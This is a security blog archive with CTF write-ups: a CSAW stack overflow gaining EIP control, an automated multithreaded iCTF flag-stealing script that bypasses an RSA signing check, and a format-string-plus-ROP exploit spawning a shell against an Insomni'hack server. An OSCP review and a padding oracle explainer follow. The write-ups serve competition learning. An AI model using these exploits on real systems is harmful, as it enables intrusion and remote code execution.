Wednesday 25 October 2017

CSAW 2015 PWN 500 rhinoxorus

In the lead up to CSAW 2016 I decided to go back and do the 500 point exploit challenge rhinoxorus

The source code and binary are available here:
https://github.com/ctfs/write-ups-2015/tree/master/csaw-ctf-2015/pwn/rhinoxorus-500

Note: I've compiled it locally from source so my exploit won't work with the binary given.


Writeup:

In the c program there are 256 functions like this
unsigned char func_28(unsigned char *buf, unsigned int count)
{
    unsigned int i;
    unsigned char localbuf[0x5c];
    unsigned char byte=0x5c;
    memset(localbuf, byte, sizeof(localbuf));
    printf("in function func_28, count is %u, bufsize is 0x5c\n", count);
    if (0 == --count)
    {
         return 0;
    }
    for (i = 0; i < count; ++i)
    {
         localbuf[i] ^= buf[i];
    }
    func_array[localbuf[0]](localbuf+1, count);
    return 0;
}







I ignore the name of the functions and just think about them by

their index in the array of function pointers (see source code

function_[X] has key (4*X + 0x84)%256


it xor's the current input with it's key
and then calls function_ with new_input[1:]

this way it gets smaller each time


By playing around I found how to generate 
a chain that kept calling the same function

for function compose the string

a s(a) t(a) s(a) t(a) ...
where:
f = lambda a: (4*a + 0x84)%256
s = lambda a: hex(a ^ f(a) ^ f(f(a) ^ a))
t = lambda a: hex(a ^ f(f(a) ^ a))

this was found by tracing the xors 


printf '\x80\x90\x14\x90\x14\x90\x14\x90\x14\x90\x14' | nc localhost 1337

... 

in function func_b2, count is 11, bufsize is 0x84
in function func_36, count is 10, bufsize is 0x94
in function func_b2, count is 9, bufsize is 0x84
in function func_b2, count is 8, bufsize is 0x84
in function func_b2, count is 7, bufsize is 0x84
in function func_b2, count is 6, bufsize is 0x84
in function func_b2, count is 5, bufsize is 0x84
in function func_b2, count is 4, bufsize is 0x84
in function func_b2, count is 3, bufsize is 0x84
in function func_b2, count is 2, bufsize is 0x84
in function func_b2, count is 1, bufsize is 0x84


len 8: 
starting chain: \x80\x90\x14\x90\x14\x90\x14\x90

0xf1 -f> key: 8


when we overflow, we write over the counter
To make sure that our whole payload gets copied
and we don't copy any extra junk this needs to 
be fixed

this is the important one
------------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000

I'll find what it is and then xor appropriatley to get 0x09
which is what it should be

wait no, this is the important one 
-----------------------------------
v
\x80\x90\x14\x90\x14\x14\xf1123456780000
k so it loads 0x29
\x80\x90\x14\x90\x14\x14\xf11234567\x29000
but that kinda breaks things with all the xors

AHH! Here's a smart idea. It doesn't actually matter, I can calculate a byte that after all the xoring will be 0x00 and have no effect.
Giving it nulls (after the starting chain)
0x00 -xors> 0x10
therefore
0x10 -xors> 0x00

at this point in the chain buf is like 0x10 so it flips bits for all the nulls
by adding 0x10's I make it have the net effect of not doing anything

\x80\x90\x14\x90\x14\x90\x14\xf1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x10\x10\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00


e.g 
Memory initially:
0x08080808 0x08080808
My initial input
0x00000000      0x10101010
after all the xoring
0x10101010      0x00000000
After local overriding xor's
0x18181818 0x08080808


ok now it's time to move to python
#!/usr/bin/python
conn = remote('localhost', 1337)

payload = "\x80\x90\x14\x90\x14\x90\x14\xf1"
nulls = '\x10'*(6*4 + 1) 

saved_eip = 0x804e06c
zor = 0x10101010 #nulls -> 0x1010101
# therefore 0x10101010 -> 0x000000 i.e no effect yay ninja

flag_loc = 0x805b6c0

eip_null = p32(saved_eip ^ zor)

conn.sendline(payload + nulls + eip_null)




At this point, I control eip

I'm going to call:
int sock_send(int sockfd, char *buf, size_t length);

from inspection sockfd == 0x4 

0xffeabb40: 0xffeabb58 -> flag??






gdb-peda$ x/32wx 0xffb375f0
0xffb375f0: 0x086faac0 0x08080808 0x08080808 0x0000001c
0xffb37600: 0xf76faac0 0xf767cc1d 0xffb376b8 0x0805454d
0xffb37610: 0xffb37628 0x0000003d 0x00000084 0x00000000
0xffb37620: 0x00000000 0xe1000000 0x00000000 0x00000000
0xffb37630: 0x00000000 0x00000000 0x00000000 0x00000000
0xffb37640: 0x01a52100 0x00000000 0x00000000 0x00000000
0xffb37650: 0x00000000 0x0487db00 0x00000408 0x05b6c0e1
0xffb37660: 0x0000ff08 0x84848400 0x84848484 0x84848484
gdb-peda$ c 4









Saturday 4 March 2017

iCTF no-rsa

This was my first time competing in an attack and defence CTF and it was pretty fun :)

The no-rsa challenge was pretty simple.

When you connect you get the following menu

Hi! Welcome to our note storage system. It's based on RSA!
What do you want to do?
1. Write a Note -> Type W
2. Reading a specific note? -> Type R
3. Request for a signature of your integer? -> Type S


You needed to get an opponent to sign their flag_id (given by the iCTF api) so you can access their flag note
the program claims to refuse to sign things that start with 1111, which is all of the flag_id's here's how it does it

if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with four consecutive ones!'

we can get around it by sending 01111... as the start of our number

The real trick to this CTF was making sure you exploited everyone's challenge every time it 'ticks' (generally 5 minutes)
it wasn't a super fast connection and there were a lot of competitors. So I wrote a pretty fantastic multithreaded thing that worked rather well

Here is the full source code of the challenge



#!/usr/bin/python
import os
import sys
import json
import random
import string
from Crypto.PublicKey import RSA
N = None
P = None
Q = None
PHI = None
E = 65537
D = None
FILE_DIR = 'files'

def service():
    print "Hi! Welcome to our note storage system. It's based on RSA!"
    print 'What do you want to do?'
    print '1. Write a Note -> Type W'
    print '2. Reading a specific note? -> Type R'
    print '3. Request for a signature of your integer? -> Type S'
    sys.stdout.flush()
    cmd = raw_input()
    if cmd == 'W':
        write_note()
    elif cmd == 'R':
        read_note()
    elif cmd == 'S':
        sign()


def generate_random_note_id():
    return '1111' + ''.join((random.choice(string.digits) for x in range(36)))


def sign():
    global E
    global N
    print 'Here is our public key (you need them in order to verify the signature): N E'
    print N, E
    print 'Please type: number!'
    print "We don't sign integers starting with four consecutive ones!"
    sys.stdout.flush()
    number = raw_input()
    if len(number) >= 3 and number[0:3] == '1111':
        print 'We told you! we will not sign integers starting with four consecutive ones!'
        sys.stdout.flush()
    else:
        if number.isdigit():
            s = dec(int(number))
            print 'The signature: '
            print s
            sys.stdout.flush()
            return s
        print 'Not a number!'
        sys.stdout.flush()


def read_note():
    print 'Please type: note_id token'
    sys.stdout.flush()
    note_id, token = raw_input().split(' ', 2)
    try:
        with open('{}/{}'.format(FILE_DIR, note_id)) as f:
            json_data = json.load(f)
            real_token = json_data['token']
            content = json_data['content']
    except Exception as e:
        print 'wrong note_id!'
        sys.stdout.flush()
        return

    if token != real_token:
        print 'Wrong token!'
        sys.stdout.flush()
        return
    print 'Note content: ', content
    sys.stdout.flush()


def write_note():
    while True:
        note_id = generate_random_note_id()
        if not os.path.isfile(note_id):
            break

    print 'Please type: content (in just one line)'
    sys.stdout.flush()
    content = raw_input()
    token = str(dec(int(note_id)))
    with open('{}/{}'.format(FILE_DIR, note_id), 'wx') as f:
        json.dump({'token': token,
         'content': content}, f)
    print 'Your note is safe with us! You can retrieve it later by these information: note_id token'
    print note_id, token
    sys.stdout.flush()


def enc(x):
    return modpow(x, E, N)


def dec(c):
    global D
    return modpow(c, D, N)


def modpow(a, b, m):
    """
        a^b mod m

        used for rsa
    """
    result = 1
    a = a % m
    while b > 0:
        if b % 2 == 0:
            a = a * a % m
            b = b / 2
        else:
            result = result * a % m
            b = b - 1

    return result


def initialize_rsa_credentials():
    global PHI
    global E
    global D
    global N
    global Q
    global P
    if os.path.isfile('rsa.txt'):
        with open('rsa.txt') as rsa_data:
            rsa_credentials = json.load(rsa_data)
            N = rsa_credentials['N']
            P = rsa_credentials['P']
            Q = rsa_credentials['Q']
            PHI = rsa_credentials['PHI']
            E = rsa_credentials['E']
            D = rsa_credentials['D']
            return
    key = RSA.generate(1024, e=E)
    N = getattr(key.key, 'n')
    P = getattr(key.key, 'p')
    Q = getattr(key.key, 'q')
    D = getattr(key.key, 'd')
    PHI = (P - 1) * (Q - 1)
    with open('rsa.txt', 'w') as file:
        json.dump({'N': N,
         'P': P,
         'Q': Q,
         'E': E,
         'D': D,
         'PHI': PHI}, file)


def make_file_dir():
    if not os.path.isdir(FILE_DIR):
        os.makedirs(FILE_DIR)


if __name__ == '__main__':
    initialize_rsa_credentials()
    make_file_dir()
    service()








And here is my solution






#!/usr/bin/env python
# pwn all the no-rsa challs for iCTF
# paste_bin K17

import sys
from ictf import iCTF
from pwn import *

from multiprocessing import Pool
import multiprocessing

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial
i = iCTF()
t = i.login('[REDACTED]', '[REDACTED]')

print "[*] logged in"
# context.log_level = 1


def attack_target(target):
    context.log_level = 1000

    try:
        conn = remote(target["hostname"], target["port"])
        conn.recvuntil("Type S")
        conn.sendline("S") # we want to sign their id
        conn.recvuntil("consecutive ones!")
        conn.sendline("0" + target["flag_id"])
        conn.recvuntil("The signature: \n")
        signature = conn.recvuntil("\n")
        # print "[!] Signature = " + signature
        conn.close()

        conn = remote(target["hostname"], target["port"])
        conn.recvuntil("Type S")
        conn.sendline("R") # we now want to read their flag file
        conn.recvuntil("Please type: note_id token\n")
        # send their flag_id and the signature
        conn.sendline(target["flag_id"] + " " + signature)
        conn.recvuntil("Note content:  ")
        flag = conn.recvuntil("\n").rstrip()
        # print "[*] Flag = '" + flag + "'"
        conn.close()
        return str(flag)

    except:
        # print "[*] No flag from " + target["hostname"]
        pass
    return None


def abortable_worker(func, *args, **kwargs):
    timeout = kwargs.get('timeout', None)
    p = ThreadPool(1)
    res = p.apply_async(func, args=args)
    try:
        out = res.get(timeout)  # Wait timeout seconds for func to complete.
        return out
    except multiprocessing.TimeoutError:
        # print("Aborting due to timeout")
        p.terminate()
        return None


def get_next_tick():
    tick = 10
    try:
        tick = int(t.get_tick_info()["approximate_seconds_left"])
    except:
        pass
    return tick

def get_targets(chall):
    try:
        targets = t.get_targets(chall)["targets"]
        return targets
    except:
        print "Failed to get targets"
        sleep(1)
        return get_targets(chall)

def wait():
    context.log_level = 3
    next_tick = get_next_tick()
    with log.progress('Waiting:') as p:
        while next_tick > 2:
            next_tick = get_next_tick()
            p.status(str(next_tick))
        sleep(1)
    context.log_level = 100

def submit_flags(flags):
    print "Submitting FLAGS"
    good = False
    while not good:
        try:
            return t.submit_flag(flags)
            good = True
            sleep(1)
        except:
            print "Submittion failed, trying again"
            # print flags
            sleep(1)
            pass
def attack(timeout=1):
    next_tick = get_next_tick()
    targets = get_targets("no-rsa")
    # print "there are this many targets"
    # print len(targets)
    pool = Pool(processes=len(targets)) 
    abortable_func = partial(abortable_worker, attack_target, timeout=timeout)
    flags = [x for x in pool.map(abortable_func, targets) if x != None]
    pool.close()                         
    pool.join() 
    print "Pwned " + str(len(flags))
    return flags


def flags_the_same(flags):
    if len(flags) == 0:
        return True

    template = flags[0]
    for flag in flags:
        if flag != template:
            print flag
            print template
            return False
    return True

while True:

    next_tick = get_next_tick()
    # make sure we are in the tick
    sleep(4)
    print "~~HACKING~~"
    print "Next tick is in " + str(next_tick)

    
    flags = attack(timeout=4)
    responses = submit_flags(flags)
    print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    print responses

    while 'correct' in responses:
        print "Going Again"
        flags = attack(timeout=1)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    
    print "no more corrects"

    # blitz
    # if it's a short timer then smash the ones we can do quickly
    print "BLITZ"
    while get_next_tick() < 60:
        flags = attack(timeout=1)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
        print "Tick:" + str(get_next_tick())
        # sleep(1)




    while 'correct' in responses or get_next_tick() > 60:
        print 'doing a slow batch'
        next_tick = get_next_tick()
        print "Next batch in " + str(next_tick)
        flags = attack(timeout=5 + next_tick/10)
        responses = submit_flags(flags)
        print "CORRECT: " + str(len([x for x in responses if x == 'correct']))
    print responses
    print "no more corrects"
    wait()



Sunday 22 January 2017

Insomni'hack 2017 Baby

holy shit I hate this challenge.

It was actually a nice challenge, you get a format string, stack AND heap overflow. Trick is, ALL of the security is on.

There are many ways to do this challenge, I went for info leak the cookie and segments with the format string and then rop to system.

I got it working locally with a bit of a hack job, SEVERAL HOURS LATER, I had finished my make-code-less-shit campaign, only to realise that pwntools wasn't having a fun time with the network.

---

Turns out that wasn't the case, the problem was I was assuming some offsets that I shouldn't have assumed.

I got so frustrated that I wrote a script to leak and dereference pointers from the format string and then try and find the dereferenced string in the libc binary given. Once I found a hit I could then subtract it's location in libc and I'd know the start of libc on the remote server.

Then I leak the cookie and do my rop chain.



#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pasteBin
#
# Insomni'hack 2017 Baby pwn
# format string to leak libc and cookie
# stack overflow to rop chain dup(4,0) dup(4,1) system("/bin/sh")

import sys
from pwn import *

local = True
if len(sys.argv) == 2:
 local = False


def extract_printf(refs):
 """
  Given a bunch of refs e.g %x, %llx, %10$s
  return a list of the things they return
 """
 # leak the 'r'th thing off the stack
 gen_ref = lambda r: "*{ref}*".format(ref=r)

 # generate a few of these in a row
 payload = "!!"
 payload += ''.join([gen_ref(r) for r in refs])
 payload += "*OO"

 conn.sendline(payload)
 conn.recvuntil("!!*")
 leaks = conn.recvuntil("*OO")
 leaks = leaks.split('**')[:-1] # remove the OO 
 conn.recvuntil("Your format >")
 return leaks

# get one offset
def deref_offset(offset):
 """
  Leak the value at an offset using the format string
 """
 code_leak_payload = "%{ref}$llx".format(ref=offset)
 return int(extract_printf([code_leak_payload])[0],16)

# leak a pointer string
def leak_offset(offset):
 code_leak_payload = "%{ref}$s".format(ref=offset)
 return extract_printf([code_leak_payload])[0]

# get a few
def deref_offset_list(offset, length):
 # leak the 'r'th thing off the stack
 offset_str = lambda r: "%{ref}$llx".format(ref=r)

 refs = [offset_str(x) for x in range(offset, offset + length)]
 ret = [ int(x,16) for x in extract_printf(refs)]
 # print ret
 return ret

# get a few strings
def leak_offset_list(offsets):
 """
  Deref some things as strings using %s
 """
 # leak the 'r'th thing off the stack
 offset_str = lambda r: "%{ref}$s".format(ref=r)
 refs = [offset_str(x) for x in offsets]
 ret = [ x for x in extract_printf(refs)]
 # print ret
 return ret


def valid_pointer(data):
 """
  Ballpark guess if something is a pointer, adjust to taste
  helps it to not crash :D
 """
 if hex(data)[:3] != "0x7" and hex(data)[:3] != "0x5":
  return False
 if hex(data)[:4] == "0x78": # Y in asci
  return False
 if "000" in hex(data):
  return False
 dLen = len(hex(data))
 if dLen != len("0x55f55d09d6a0") and dLen != len("0x63b944c753c6fc00"):
  return False

 return True

def find_libc_offset():
 """
  1) Leak memory using the format string
  2) Find the valid pointers/offsets
  3) Deref them and compare with libc
  4) if match, calculate offset
 """
 # leak a big range and then deref all the pointers till you find one in libc
 # then adjust the offset
 x = 3
 # leak 10 at a time
 leak_size = 10
 while True:
  # 1) Leak memory using the format string
  pointers = deref_offset_list(x, leak_size)

  # 2) Find the valid pointers/offsets
  valid_pointers = [pointer for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
  valid_offsets  = [pos + x for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
  
  if len(valid_pointers) > 0:

   # 3) Deref them and compare with libc
   strings = leak_offset_list(valid_offsets)
   for pointer, string in zip(valid_pointers, strings):
    if len(string) > 1: # only worth checking for more than 1 byte
     # search for the string in libc
     code_segments = list(libc.search(string))
     # is it unique in libc?
     if len(code_segments) == 1:
      offset_into_libc = code_segments[0]
      return pointer - offset_into_libc
  x += leak_size


addr = "127.0.0.1"
libc = elf.ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
if not local:
 addr = "baby.teaser.insomnihack.ch"
 libc = elf.ELF("libc.so")

conn = remote(addr, 1337)
context.arch = 'amd64'
welcome = conn.recvuntil('Your choice >')
print welcome,

conn.sendline("2") # select format string
conn.recvuntil("Your format >")
conn.sendline("A"*100) # we don't want to find pointers that we might overwrite so clear it now
conn.recvuntil("Your format >")

# get the cookie
cookie = deref_offset(138)

libc.address = find_libc_offset() # smart memory leaking

payload =   "A"*8*129   # padding
payload +=  p64(cookie)  # stack cookie    
payload +=  "A"*8   # padding 


# use the magical pwntools rop functionality
# alternativly if I needed to make a tight rop chain
# I'd use libc.search(assemble("pop rdi; ret"))
rop = ROP(libc)
rop.dup2(4,0)
rop.dup2(4,1)
rop.dup2(4,2)
rop.system(list(libc.search("/bin/sh\x00"))[0])

print rop.dump()
payload += str(rop)

# time to drop the shell :D
conn.send('\n')
conn.recvuntil('Your choice > ')
conn.sendline('1')
conn.recvuntil("How much bytes you want to send ? ")
a = str(len(payload))
conn.send(a + (10-len(a))*'\x00')
conn.send(payload)
 
# we get a shell
conn.interactive()
conn.close()

Friday 9 December 2016

Stacks? what are they and how to smash them



I made a thing on how to smash the stack.

For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html

Stacks? what are they and how to smash them



I made a thing on how to smash the stack.

For the one and only, seminal hacker paper see Smashing the stack for fun and profit by aleph one http://insecure.org/stf/smashstack.html

Tuesday 8 November 2016

OSCP maybe not for me?

I've been doing the OSCP course: 'Pentesting with Kali linux' for the last 80 days (the end is near).


Background:
I've got a solid interest in binary exploitation and breaking things, I really enjoy a good challenge. The first time I defeated ASLR and NX it took me literally 5 days of nothing but eating sleeping and staring at gdb-peda. I loved that, I loved the challenge and the journey.

What I think of the OSCP:
When I started the OSCP I thought it would be the same, and for a lot of people it is exactly that.

But nooooope

I found it extremely tedious. The material they give you is like glorified man pages. Useful, but not really.
The value is in the lab. A bunch of boxes with a bunch of vulns.

Before continuing I want to make how I feel about the OSCP very clear. It's a 7/10, pretty good, but room for improvement.


It's taught upside down
The way the material is presented is like "If you do X,Y,Z that tells you A,B,C and you can use that to do D,E,F" where X,Y,Z are specific tools or commands.

Learning this way fells like aimlessly meandering through a forrest gathering anything that looks useful.

INSTEAD, it should be taught in a more goal centric way.
Take the recon stage for example, analyse what it is you're looking for. Think of the weaknesses from a higher level such as "Exposed services", "bits that only other computers can see" and the sort of information that will be useful. Then, outline how that can be done and finally, provide some example tools that help accomplish that task.

The material is also uncorrelated with the lab. I think there should be more guidance available for completing the labs. I think pentesterlabs does a really good job at this.

I think the OSCP works really well for a lot of people but not me. I think the lab is a great start but the educational material is rubbish.

I don't think an educational service should have a motto like 'try harder'. I think the value of the OSCP is mostly in the certificate, which is not reflected in the price. I think the course is a lot of money (unless your company is paying).

If you're a computer science person working at a company and want to move to a security job and you're company is going to pay for the OSCP then 100% yep this is for you, I would definitely recommend.

If you're a college student, I wouldn't recommend doing the OSCP until you've done all the wargames, CTF's, and vulnerable vm's that are online for free.

If, like me, you love binary exploitation and want to learn some pen test skills, learn how to metasploit first. This is not a course about binary exploitation, it is covered, but only a little. Don't expect to spend time in gdb.


I would recommend doing the course at the same time as some friends. I often got stuck and not in the 'try harder' kinda way, stuck in the bored kinda way.

I've got the exam coming up and I don't expect to pass the first time.

There's my 2 cents on the OSCP





















Thursday 6 October 2016

Breaking computers: Padding Oracle Attack

Attacking modern cyrptography

Watch the animated video here: Animated Explanation



Encryption lets you convert a message into a cipher using a key
so that only someone with the same key can convert it back









even the smallest change in input massively changes the output cipher 




and thanks to maths it's unbreakable (for now... maybe *cough cough* NSA)



but you are limited to how much you can encrypt, usually only 8 or 16 bytes at a time
which means it needs to be used as part of a larger system



system
ˈsɪstəm/
noun
  1. 1.
    a set of things working together as parts of a mechanism or an interconnecting network; a complex whole.
    "the state railway system"

which by definition makes it more complex, and unfortunately, all it takes is a tiny leak to completely destroy a crypto system



What if we encode each block separately?



This is equivalent to encoding every letter in a sentence
Guvf vf rdhvinyrag gb rapbqvat rirel yrggre va n fragrapr

Or every pixel in an image
Part of This image (The fuzzy penguin bit) is derived from File:Tux.jpg, and therefore requires attribution. All uses are permitted provided that Larry Ewing, the owner of the original image, who requires that you mention him, his email address, lewing@isc.tamu.edu, and The GIMP, according to http://www.isc.tamu.edu/~lewing/linux/.


Cipher block chaining


where ECB is glorified rot13
CBC is a glorified enigma machine

The idea is simple, mix the output with more input to create more randomness in the result

Less fuzzy penguins but more complexity

it's used everywhere, especially places it shouldn't be

encrypt the first block 
xor that with the next block and encrypt that
xor that with the next block and encrypt that



where xor just means magic computer addition (google it)

to decrypt, just do every step in reverse











notice that when we encrypt we have to go one after another
so that every input block will impact the rest of the cipher

but when we decrypt we can do the whole thing in parallel

how much of the cipher text do you need to recover any given block of input?

ideally, if you changed any of the cipher, the entire decryption should be broken

but!
turns out each plaintext block is only dependant on 2 cipher blocks

so what happens if we start changing some of the cipher blocks?
Incrementing the last digit of the middle cipher block only ruins the previous block's decryption


remember how xor is just very-simple-computer-addition 
this means we can very precisely change part of the decryption

and the previous block is the only thing that gets completely ruined

which you can abuse in certain situations to have no effect anyway

is this algorithm totally broken?
is everything insecure?

yeah kinda,


Demo Time

say this was being used on a website, where you want to save someone's login details in a cookie so that they don't have to log in constantly (hint, this is a BAD IDEA)

but you don't want them changing things like their permissions
so you encrypt it with a key that's only on the server on the other side of the internet (seems legit, right?)

something like this
{
"name" : "mr joe",
"thought of the day" : "cyber cyber cyber cyber cyber",
"admin" : 0 
}


think about how the last couple of blocks will be encrypted

[yber cyber cyber] [","admin" : 0 ]

if we flip the bit corresponding to the admin flag then the previous block will be ruined but it doesn't really matter.

{
"name" : "mr joe",
"thought of the day" : "cyber cyber c????????????????",
"admin" : 1 
}

hahah!
mr joe was able to adjust his 'thought of the day' so that when the admin bit was flipped it had no impact on how the data would be used.

Even without any technical faults, we can already do a lot of damage

lets have a look at just how devastating it can get if you have even the tiniest leak


Padding Oracle Time

When you encrypt a block it has to fit the block size, and if it's too small you need to pad it out
and you need to be able to remove the padding once you decode the message

the standard way is to use the amount you need to pad as the padding.


if a service gives you an error when it recieves an incorrectly padded message, it's game over for the service. 
We can now encrypt and decrypt anything without ever knowing the key.

To decode the message block D7FF we cycle through all the values of the last digit in the previous block until we get a valid padding

which we know must be ???1 becasue it was padded correctly


Side Note:

It could also have been a 2 if the second last digit was a 2, or 33, 444 etc. Just starting again with a different second digit
End Side Note 

We can xor that with the digit we used in the cipher, to work out the last digit of the intermediate block. 

Using that we can get a 2 in the last position of the decrypted block and now we can find the next digit


Using that, we can get 3's in the last 2 positions of the decrypted block and now we can find the second digit












Using that, we can get 4's in the last 3 positions of the decrypted block and now we can find the first digit









Then we know the entire intermediate block pre encryption
so all we have to do is xor it with the original cipher block
and we'll have decoded that block of cipher text.